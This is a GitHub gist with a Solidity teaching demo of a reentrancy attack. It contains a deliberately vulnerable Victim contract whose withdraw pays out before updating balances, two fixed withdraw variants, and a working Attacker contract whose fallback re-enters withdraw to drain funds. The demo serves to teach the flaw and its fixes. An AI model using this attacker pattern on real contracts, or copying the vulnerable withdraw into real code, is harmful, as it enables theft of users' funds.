Skip to content

Instantly share code, notes, and snippets.

@JohannesGitHub
Last active September 9, 2018 12:34
Show Gist options
  • Select an option

  • Save JohannesGitHub/b928e7315b937919e4dc9e1e9209ef05 to your computer and use it in GitHub Desktop.

Select an option

Save JohannesGitHub/b928e7315b937919e4dc9e1e9209ef05 to your computer and use it in GitHub Desktop.
pragma solidity ^0.4.24;
/**
* deploy Victim contract with 100 Ether
* deploy Attacker contract with address of the Victim contract
* call mint method from Victim contract with address of Attacker contract
* call launchAttack method from Attacker contract
*/
contract Victim {
mapping(address => uint) public balances;
constructor() payable public {}
function mint(address _attacker) public {
balances[_attacker] = 10000000000000000000;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);
require(msg.sender.call.value(_amount)());
balances[msg.sender] -= _amount;
}
function withdrawFix1(uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
require(msg.sender.call.value(_amount)());
}
function withdrawFix2(uint _amount) public {
require(balances[msg.sender] >= _amount);
msg.sender.transfer(_amount); // require(msg.sender.send(_amount))
balances[msg.sender] -= _amount;
}
function getCoinbase() external view returns(uint256) {
return address(this).balance;
}
}
contract Attacker {
address public victim;
uint256 public repetitions;
constructor(address _victim) public {
victim = _victim;
}
function () payable public {
if (repetitions < 9) {
repetitions++;
require(victim.call(bytes4(keccak256("withdraw(uint256)")), 10000000000000000000));
}
}
function launchAttack() external {
repetitions = 0;
require(victim.call(bytes4(keccak256("withdraw(uint256)")), 10000000000000000000));
}
function getCoinbase() external view returns(uint256) {
return address(this).balance;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment